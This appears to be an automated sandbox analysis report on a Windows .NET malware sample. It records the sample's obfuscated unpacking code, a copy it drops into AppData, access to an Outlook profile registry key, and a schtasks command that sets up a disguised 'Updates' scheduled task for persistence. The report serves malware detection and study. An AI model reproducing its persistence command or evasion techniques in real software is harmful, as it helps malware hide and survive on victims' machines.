Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Section loaded: fwpuclnt.dll

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: LisectAVT_2403002A_16.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: LisectAVT_2403002A_16.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: LisectAVT_2403002A_16.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: FPzK.pdb source: LisectAVT_2403002A_16.exe, NxmtwwVGOtEdjd.exe.0.dr
Source:	Binary string: FPzK.pdbSHA256 source: LisectAVT_2403002A_16.exe, NxmtwwVGOtEdjd.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	.Net Code: MWmr0l58sc System.Reflection.Assembly.Load(byte[])
Source: 0.2.LisectAVT_2403002A_16.exe.56e0000.6.raw.unpack, wehuuoKhMKMbnQu72K.cs	.Net Code: LOPk5OGwQvvejRfJl7n System.Reflection.Assembly.Load(byte[])
Source: 0.2.LisectAVT_2403002A_16.exe.2eb44ec.2.raw.unpack, wehuuoKhMKMbnQu72K.cs	.Net Code: LOPk5OGwQvvejRfJl7n System.Reflection.Assembly.Load(byte[])
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	.Net Code: MWmr0l58sc System.Reflection.Assembly.Load(byte[])

Source: LisectAVT_2403002A_16.exe

Static PE information: 0xFEADA566 [Tue May 26 14:55:34 2105 UTC]

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_01304779 push esi; iretd	0_2_0130477A
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_0130477B push ebp; iretd	0_2_01304782
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_013047B1 push esi; iretd	0_2_013047B2
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_013046B8 push edx; iretd	0_2_013046BA
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_013046BB push edx; iretd	0_2_013046C2
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_0130AD27 pushfd ; iretd	0_2_0130AD2A
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_0130AD2B pushfd ; iretd	0_2_0130AD32
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 0_2_05A88248 pushad ; iretd	0_2_05A88251
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_0668FCEF push ss; iretd	9_2_0668FCF0
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Code function: 9_2_0668FCAF push ss; iretd	9_2_0668FCBD
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07952520 push dword ptr [esi+5D906B4Fh]; ret	10_2_07952573
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 10_2_07958248 pushad ; iretd	10_2_07958251
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_06308627 pushad ; iretd	15_2_06308635
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_06305CA0 pushfd ; iretd	15_2_06305CAD
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Code function: 15_2_06303D5F push es; ret	15_2_06303D70

Source: LisectAVT_2403002A_16.exe	Static PE information: section name: .text entropy: 7.613224313381159
Source: NxmtwwVGOtEdjd.exe.0.dr	Static PE information: section name: .text entropy: 7.613224313381159

Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, j9YWqGoNkeAufjqtfr.cs	High entropy of concatenated method names: 'SwVBC7ZCD1', 'jhUBUErGuT', 'bffBomOKCf', 'W4uBflm9Px', 'UEjBMaa25b', 'MPCBNmn75V', 'Ig1B9KdYih', 'OsrBLCjqaJ', 'wsXBRXOfsc', 'FleBgTAvaX'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	High entropy of concatenated method names: 'G9ndk8TnsG', 'jg3dZIJEHi', 'LjBdVa96e6', 'njPd8sy7Bo', 'kxQda3li6Z', 'ktdd2esIcl', 'JrRdebPBPP', 'a9edxPJqAd', 'Pfjd1MdnoS', 'CxUdIT8csT'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, WEkvyEiPg4exp1JWJr.cs	High entropy of concatenated method names: 'PZc8DdvK17', 'l9p87q38HQ', 'j5W8ExCVDC', 'gV68igLBCF', 'KsN8BH6Ooe', 'NcJ8QB2txh', 'iyL8s6pMM1', 'qVj8cTJkLf', 'g8086nvp58', 'krU8GwMf5Z'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, rbl15J4iXuiF3yd9Pd.cs	High entropy of concatenated method names: 'jOI63gVPXi', 'n296d5fH6H', 'Ul06rRK1yH', 'CMM6ZfhKG5', 'X5f6VZ7J6u', 'RES6aFvqWa', 'YxO621gL0n', 'evMcn1TQak', 'AhgcAtQIsF', 'WfYc5Ak4NU'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, Icw0P7E5I25dt8WiCY.cs	High entropy of concatenated method names: 'Gk3Vojd3xF', 'UpXVfsYioH', 'W48VHS9vLY', 'H5RVj2QvDd', 'rsNVSgaler', 'bw3VuusPrG', 'xqWVn6ipha', 'C8kVAN9vCL', 'ehcV5kxvk1', 'QXSV4KGidN'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, XwoIjq3XxNvPNWGVI52.cs	High entropy of concatenated method names: 'S9I6quAppn', 'JlE6PcGTqv', 'SpB60KOY5L', 'qjP6DTT0Do', 'xvT6FBq7tV', 'vsK67TUO69', 'KE46ykTPUU', 'xK26Ei4Otb', 'Jov6irQGiN', 'Aal6mlCDlR'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, OPdVgnRx7UCY8cpdFo.cs	High entropy of concatenated method names: 'TfZ2HWlAL0', 'CDH2jiyDlM', 'PsY2SKfM56', 'ToString', 'nRi2uMGmfV', 'mGS2ns9kQw', 'VW1wfe4cQXhE4QS8t0q', 'gIuVL14qtxlhqLcSKme', 'V9HCGv4MNGDARBt7yYF'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, iKYG0MmubIw9OVMBtg.cs	High entropy of concatenated method names: 'NfWaFrMeCy', 'ocvayym4Vb', 'Qxt8NPGEbw', 'bge89L9aFL', 'FrV8L75enC', 'nCK8RO97jH', 'y8H8gXfMji', 'cgq8l6SElR', 'KXV8wZV4Ij', 'J1J8CpPc5G'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, BAqoVNzExaAeveETi0.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nGt6KZD8kW', 'B2m6Bd1g5G', 'x5b6QwrK0C', 'l186sOqVHA', 'KWC6c28yta', 'S1x660KrN3', 'qx36G2ePrT'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, owyQps3JsOel92LKCfT.cs	High entropy of concatenated method names: 'yyPGquyU4J', 'HOBGPMb2R8', 'fbcG0exi88', 'm4Xi4D0WUGYwl2iwreo', 'PuZ1ee0GpkK7MHMmbUx', 'kDh9Ln0LiWLB6pRTekC', 'zlLPV70uhF5v6O9SMMp', 'MWOUVt0zq9CgoKTPbNF'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, lvrY9n9k7lkh9Cl70l.cs	High entropy of concatenated method names: 'dyU2vNq71H', 'bRk2qHAGtX', 'Qpn20Ie8IK', 'Dil2DQptVJ', 'y1k27iNsb5', 'imx2yTZCEx', 'CPt2ivNXMG', 'iO42m3uRWh', 'PlRYxG4EB672Ssut5jP', 's5Cqvv4dQVZ9udH5QQS'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, CrVdkuWHH6itGcKud7.cs	High entropy of concatenated method names: 'cs42ktJLwq', 'L0R2Vd9YmN', 'j2c2apgiGR', 'FVi2eCaI7X', 'F2X2x6jpsg', 'oSOaSIiBMG', 'lmtauUo0RN', 'fHFann456d', 'EG4aAj3BkZ', 'FVaa5gAE3p'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, TNI5rOjXvELxKJP6Fj.cs	High entropy of concatenated method names: 'CfksIuq50j', 'kvuspBFKxM', 'ToString', 'dR8sZa01jf', 'oBSsVBpPcp', 'EDos8Jm6MH', 'W6YsaP3s3U', 'lG5s2hT04B', 'FJ5seKuLH4', 'bJ9sxIrLJu'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, dMt11SJRe8APP9s2WL.cs	High entropy of concatenated method names: 'DfW0LGWf8', 'yl0DiW3Mk', 'XO87wDb8b', 'ljCyYh3ms', 'buqi4rcbN', 'ipvmXVMfp', 'TVQXYPh1C0sAYF3Uxd', 'UlSnaZ81YHSEFdtVni', 'pOZMDMIS6fcFdyJc9P', 'RA0cppkBm'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, QG7R5hgsvLbIepY6MR.cs	High entropy of concatenated method names: 'Qp9eZZB71w', 'sLGe8FrGFy', 'X5we2jcUuR', 'nDr24KU9Ms', 'itR2zuHXIZ', 'niXeXg3iOh', 'gk6e3O0EKL', 'iDleJWGD9X', 'OjiedqZRku', 'mGQeruVZC1'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, vVZlyfwE6D6VO1P3fu.cs	High entropy of concatenated method names: 'IS6eqWM1UO', 'aqqePdd4Ww', 'dQoe0qsNj8', 'ucbeDX7HC8', 'NcGeFZ58HE', 'SYRe7ktiZp', 'GRkey9vBMa', 'eMmeEgpjoi', 'gfueiotCx9', 'Rd3em2EVjB'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, yp7P2SryFTLLqPCLLF.cs	High entropy of concatenated method names: 'S393ecw0P7', 'YI23x5dt8W', 'EPg3I4exp1', 'cWJ3pr2KYG', 'gMB3Btg7rV', 'dku3QHH6it', 'Tga5uvB9jYMQHAFdI2', 'YHSRAKNCSCobJVmv0l', 'K1c331286p', 'zrj3dLrk18'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, WTyLNRuTreLPB4U01m.cs	High entropy of concatenated method names: 'CQMsApFQ0g', 'OGIs4PsFeP', 'QdAcXpX1b3', 'fPmc3asCCe', 'haUsTyBEYH', 'Y1DsUeR6fJ', 'XpssbgB0KU', 'yOSsoK7bGf', 'MMcsfgZliF', 'dC8sH0qY0s'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, NpB9h6VafMhAx1WsJp.cs	High entropy of concatenated method names: 'Dispose', 'AJi35vDi97', 'BTHJMf9HMs', 'tAuccFwjJ9', 'IHh34UJHEi', 'Hv53zFuv68', 'ProcessDialogKey', 'niWJXfxvCg', 'V7eJ31vJQV', 'AXCJJcbl15'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, ShUJHEAiMv5Fuv68Ki.cs	High entropy of concatenated method names: 'reicZxmOIa', 'mVrcVTteJu', 'qkxc8Byeb0', 'yDEca2XNs6', 'S2lc22ZKj2', 'uv5ceGNQjL', 'pwhcxLYg6y', 'VfLc1iJT7L', 'CkXcI4I5TX', 'DUdcpuyU5N'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, z2DRmH3drgXDZwPhdrF.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VciGoABM39', 'wm2GfLRJ7I', 'UqgGHbEgff', 'vfPGjQqj3q', 'uVRGS29YT5', 'HeOGu5CcVi', 'C0oGnAM5Qv'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, yWjIbkbFk9uQinWgPH.cs	High entropy of concatenated method names: 'PGbKEHongF', 'qe7KiRBmqH', 'PmCKW3fLEF', 'qaFKMKqOke', 'IddK9nSrCj', 'qPnKLVpZk7', 'mk2KgF0FaP', 'TyJKlLtkL3', 'XUwKCXwIjQ', 'F3GKThIsTt'
Source: 0.2.LisectAVT_2403002A_16.exe.7b90000.8.raw.unpack, GfxvCg5n7e1vJQVDXC.cs	High entropy of concatenated method names: 'B66cWq08vZ', 'PjOcMQSOoJ', 'HENcNl88o6', 'bKEc9YpV10', 'lgtcoGe4TI', 'UsNcLkoHPf', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.LisectAVT_2403002A_16.exe.56e0000.6.raw.unpack, kdFvaMFVPKs73pA7Ae.cs	High entropy of concatenated method names: 'jlLbsIppcp4pe', 'HUDVafGQx3A5lYPXEbC', 'bWxlDPGFKtjOUjq8ME9', 'J13JY7Gs9VegMR0Usdn', 'gjnvHYGCPTFBSN5sXDA', 'UXn9pRGVr5JYGFjuCRJ', 'g8bQ3yGYPoLwrRusK3E', 'KwwAwLG5jtFVjgr5V0l', 'lJyLiGG0wAjthymuVo5', 'KrHGd2G9wj507LdZGDe'
Source: 0.2.LisectAVT_2403002A_16.exe.56e0000.6.raw.unpack, DD.cs	High entropy of concatenated method names: 'wgRxinKHcbWANUbFNm', 'dwveif1E9jqp4XTbTA', 'iYTXHL2SDoNZBJVsGw', 'hFySdn3keDBvJSvKal', 'PVIytPpWpuEYQLk40u'
Source: 0.2.LisectAVT_2403002A_16.exe.56e0000.6.raw.unpack, ihWImL1h2qjtIkVYDh.cs	High entropy of concatenated method names: 'qJUttacKFT', 'djwp7oGHZ8xfNf3m5ut', 'AZqALCG67UykKuowXP2', 'dkLCJpGlCfFdqtD7Epf', 'iHWSkAGjDuGN31hXJsT', 'u4UYnDGE5xCOMnt15QR', 'jhES7Va4c', 'jWmROKkjL', 'Dispose', 'BJj7gBhfp'
Source: 0.2.LisectAVT_2403002A_16.exe.56e0000.6.raw.unpack, oImfMJtvGUo8fMQNBQ.cs	High entropy of concatenated method names: 'cxsORewNJ', 'VvrninWuk', 'ustvIxt9o', 'QtXoY7g0N', 'cMKlMbnQu', 'w2KLAB5Xx', 'hNkF6TG2YCh7xU8s3hJ', 'hs4l1PGKtLhAeRnm1c4', 'Dispose', 'MoveNext'
Source: 0.2.LisectAVT_2403002A_16.exe.56e0000.6.raw.unpack, wehuuoKhMKMbnQu72K.cs	High entropy of concatenated method names: 'NXMyxc8eI', 'GTZadPHeP', 'DEVNaDCj9', 'cflmBNqev', 'VFQ0OImLC', 'PbYVMxZvt', 'UPdFjbLed', 'AeEi93ui9', 'oM66buTLn', 'nxFUIfcfn'
Source: 0.2.LisectAVT_2403002A_16.exe.2eb44ec.2.raw.unpack, kdFvaMFVPKs73pA7Ae.cs	High entropy of concatenated method names: 'jlLbsIppcp4pe', 'HUDVafGQx3A5lYPXEbC', 'bWxlDPGFKtjOUjq8ME9', 'J13JY7Gs9VegMR0Usdn', 'gjnvHYGCPTFBSN5sXDA', 'UXn9pRGVr5JYGFjuCRJ', 'g8bQ3yGYPoLwrRusK3E', 'KwwAwLG5jtFVjgr5V0l', 'lJyLiGG0wAjthymuVo5', 'KrHGd2G9wj507LdZGDe'
Source: 0.2.LisectAVT_2403002A_16.exe.2eb44ec.2.raw.unpack, DD.cs	High entropy of concatenated method names: 'wgRxinKHcbWANUbFNm', 'dwveif1E9jqp4XTbTA', 'iYTXHL2SDoNZBJVsGw', 'hFySdn3keDBvJSvKal', 'PVIytPpWpuEYQLk40u'
Source: 0.2.LisectAVT_2403002A_16.exe.2eb44ec.2.raw.unpack, ihWImL1h2qjtIkVYDh.cs	High entropy of concatenated method names: 'qJUttacKFT', 'djwp7oGHZ8xfNf3m5ut', 'AZqALCG67UykKuowXP2', 'dkLCJpGlCfFdqtD7Epf', 'iHWSkAGjDuGN31hXJsT', 'u4UYnDGE5xCOMnt15QR', 'jhES7Va4c', 'jWmROKkjL', 'Dispose', 'BJj7gBhfp'
Source: 0.2.LisectAVT_2403002A_16.exe.2eb44ec.2.raw.unpack, oImfMJtvGUo8fMQNBQ.cs	High entropy of concatenated method names: 'cxsORewNJ', 'VvrninWuk', 'ustvIxt9o', 'QtXoY7g0N', 'cMKlMbnQu', 'w2KLAB5Xx', 'hNkF6TG2YCh7xU8s3hJ', 'hs4l1PGKtLhAeRnm1c4', 'Dispose', 'MoveNext'
Source: 0.2.LisectAVT_2403002A_16.exe.2eb44ec.2.raw.unpack, wehuuoKhMKMbnQu72K.cs	High entropy of concatenated method names: 'NXMyxc8eI', 'GTZadPHeP', 'DEVNaDCj9', 'cflmBNqev', 'VFQ0OImLC', 'PbYVMxZvt', 'UPdFjbLed', 'AeEi93ui9', 'oM66buTLn', 'nxFUIfcfn'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, j9YWqGoNkeAufjqtfr.cs	High entropy of concatenated method names: 'SwVBC7ZCD1', 'jhUBUErGuT', 'bffBomOKCf', 'W4uBflm9Px', 'UEjBMaa25b', 'MPCBNmn75V', 'Ig1B9KdYih', 'OsrBLCjqaJ', 'wsXBRXOfsc', 'FleBgTAvaX'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, ioHoB3xyTTvGj5kpgh.cs	High entropy of concatenated method names: 'G9ndk8TnsG', 'jg3dZIJEHi', 'LjBdVa96e6', 'njPd8sy7Bo', 'kxQda3li6Z', 'ktdd2esIcl', 'JrRdebPBPP', 'a9edxPJqAd', 'Pfjd1MdnoS', 'CxUdIT8csT'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, WEkvyEiPg4exp1JWJr.cs	High entropy of concatenated method names: 'PZc8DdvK17', 'l9p87q38HQ', 'j5W8ExCVDC', 'gV68igLBCF', 'KsN8BH6Ooe', 'NcJ8QB2txh', 'iyL8s6pMM1', 'qVj8cTJkLf', 'g8086nvp58', 'krU8GwMf5Z'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, rbl15J4iXuiF3yd9Pd.cs	High entropy of concatenated method names: 'jOI63gVPXi', 'n296d5fH6H', 'Ul06rRK1yH', 'CMM6ZfhKG5', 'X5f6VZ7J6u', 'RES6aFvqWa', 'YxO621gL0n', 'evMcn1TQak', 'AhgcAtQIsF', 'WfYc5Ak4NU'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, Icw0P7E5I25dt8WiCY.cs	High entropy of concatenated method names: 'Gk3Vojd3xF', 'UpXVfsYioH', 'W48VHS9vLY', 'H5RVj2QvDd', 'rsNVSgaler', 'bw3VuusPrG', 'xqWVn6ipha', 'C8kVAN9vCL', 'ehcV5kxvk1', 'QXSV4KGidN'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, XwoIjq3XxNvPNWGVI52.cs	High entropy of concatenated method names: 'S9I6quAppn', 'JlE6PcGTqv', 'SpB60KOY5L', 'qjP6DTT0Do', 'xvT6FBq7tV', 'vsK67TUO69', 'KE46ykTPUU', 'xK26Ei4Otb', 'Jov6irQGiN', 'Aal6mlCDlR'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, OPdVgnRx7UCY8cpdFo.cs	High entropy of concatenated method names: 'TfZ2HWlAL0', 'CDH2jiyDlM', 'PsY2SKfM56', 'ToString', 'nRi2uMGmfV', 'mGS2ns9kQw', 'VW1wfe4cQXhE4QS8t0q', 'gIuVL14qtxlhqLcSKme', 'V9HCGv4MNGDARBt7yYF'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, iKYG0MmubIw9OVMBtg.cs	High entropy of concatenated method names: 'NfWaFrMeCy', 'ocvayym4Vb', 'Qxt8NPGEbw', 'bge89L9aFL', 'FrV8L75enC', 'nCK8RO97jH', 'y8H8gXfMji', 'cgq8l6SElR', 'KXV8wZV4Ij', 'J1J8CpPc5G'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, BAqoVNzExaAeveETi0.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nGt6KZD8kW', 'B2m6Bd1g5G', 'x5b6QwrK0C', 'l186sOqVHA', 'KWC6c28yta', 'S1x660KrN3', 'qx36G2ePrT'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, owyQps3JsOel92LKCfT.cs	High entropy of concatenated method names: 'yyPGquyU4J', 'HOBGPMb2R8', 'fbcG0exi88', 'm4Xi4D0WUGYwl2iwreo', 'PuZ1ee0GpkK7MHMmbUx', 'kDh9Ln0LiWLB6pRTekC', 'zlLPV70uhF5v6O9SMMp', 'MWOUVt0zq9CgoKTPbNF'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, lvrY9n9k7lkh9Cl70l.cs	High entropy of concatenated method names: 'dyU2vNq71H', 'bRk2qHAGtX', 'Qpn20Ie8IK', 'Dil2DQptVJ', 'y1k27iNsb5', 'imx2yTZCEx', 'CPt2ivNXMG', 'iO42m3uRWh', 'PlRYxG4EB672Ssut5jP', 's5Cqvv4dQVZ9udH5QQS'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, CrVdkuWHH6itGcKud7.cs	High entropy of concatenated method names: 'cs42ktJLwq', 'L0R2Vd9YmN', 'j2c2apgiGR', 'FVi2eCaI7X', 'F2X2x6jpsg', 'oSOaSIiBMG', 'lmtauUo0RN', 'fHFann456d', 'EG4aAj3BkZ', 'FVaa5gAE3p'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, TNI5rOjXvELxKJP6Fj.cs	High entropy of concatenated method names: 'CfksIuq50j', 'kvuspBFKxM', 'ToString', 'dR8sZa01jf', 'oBSsVBpPcp', 'EDos8Jm6MH', 'W6YsaP3s3U', 'lG5s2hT04B', 'FJ5seKuLH4', 'bJ9sxIrLJu'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, dMt11SJRe8APP9s2WL.cs	High entropy of concatenated method names: 'DfW0LGWf8', 'yl0DiW3Mk', 'XO87wDb8b', 'ljCyYh3ms', 'buqi4rcbN', 'ipvmXVMfp', 'TVQXYPh1C0sAYF3Uxd', 'UlSnaZ81YHSEFdtVni', 'pOZMDMIS6fcFdyJc9P', 'RA0cppkBm'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, QG7R5hgsvLbIepY6MR.cs	High entropy of concatenated method names: 'Qp9eZZB71w', 'sLGe8FrGFy', 'X5we2jcUuR', 'nDr24KU9Ms', 'itR2zuHXIZ', 'niXeXg3iOh', 'gk6e3O0EKL', 'iDleJWGD9X', 'OjiedqZRku', 'mGQeruVZC1'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, vVZlyfwE6D6VO1P3fu.cs	High entropy of concatenated method names: 'IS6eqWM1UO', 'aqqePdd4Ww', 'dQoe0qsNj8', 'ucbeDX7HC8', 'NcGeFZ58HE', 'SYRe7ktiZp', 'GRkey9vBMa', 'eMmeEgpjoi', 'gfueiotCx9', 'Rd3em2EVjB'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, yp7P2SryFTLLqPCLLF.cs	High entropy of concatenated method names: 'S393ecw0P7', 'YI23x5dt8W', 'EPg3I4exp1', 'cWJ3pr2KYG', 'gMB3Btg7rV', 'dku3QHH6it', 'Tga5uvB9jYMQHAFdI2', 'YHSRAKNCSCobJVmv0l', 'K1c331286p', 'zrj3dLrk18'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, WTyLNRuTreLPB4U01m.cs	High entropy of concatenated method names: 'CQMsApFQ0g', 'OGIs4PsFeP', 'QdAcXpX1b3', 'fPmc3asCCe', 'haUsTyBEYH', 'Y1DsUeR6fJ', 'XpssbgB0KU', 'yOSsoK7bGf', 'MMcsfgZliF', 'dC8sH0qY0s'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, NpB9h6VafMhAx1WsJp.cs	High entropy of concatenated method names: 'Dispose', 'AJi35vDi97', 'BTHJMf9HMs', 'tAuccFwjJ9', 'IHh34UJHEi', 'Hv53zFuv68', 'ProcessDialogKey', 'niWJXfxvCg', 'V7eJ31vJQV', 'AXCJJcbl15'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, ShUJHEAiMv5Fuv68Ki.cs	High entropy of concatenated method names: 'reicZxmOIa', 'mVrcVTteJu', 'qkxc8Byeb0', 'yDEca2XNs6', 'S2lc22ZKj2', 'uv5ceGNQjL', 'pwhcxLYg6y', 'VfLc1iJT7L', 'CkXcI4I5TX', 'DUdcpuyU5N'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, z2DRmH3drgXDZwPhdrF.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'VciGoABM39', 'wm2GfLRJ7I', 'UqgGHbEgff', 'vfPGjQqj3q', 'uVRGS29YT5', 'HeOGu5CcVi', 'C0oGnAM5Qv'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, yWjIbkbFk9uQinWgPH.cs	High entropy of concatenated method names: 'PGbKEHongF', 'qe7KiRBmqH', 'PmCKW3fLEF', 'qaFKMKqOke', 'IddK9nSrCj', 'qPnKLVpZk7', 'mk2KgF0FaP', 'TyJKlLtkL3', 'XUwKCXwIjQ', 'F3GKThIsTt'
Source: 0.2.LisectAVT_2403002A_16.exe.422d070.3.raw.unpack, GfxvCg5n7e1vJQVDXC.cs	High entropy of concatenated method names: 'B66cWq08vZ', 'PjOcMQSOoJ', 'HENcNl88o6', 'bKEc9YpV10', 'lgtcoGe4TI', 'UsNcLkoHPf', 'Next', 'Next', 'Next', 'NextBytes'

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

File created: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NxmtwwVGOtEdjd" /XML "C:\Users\user\AppData\Local\Temp\tmpB5CB.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
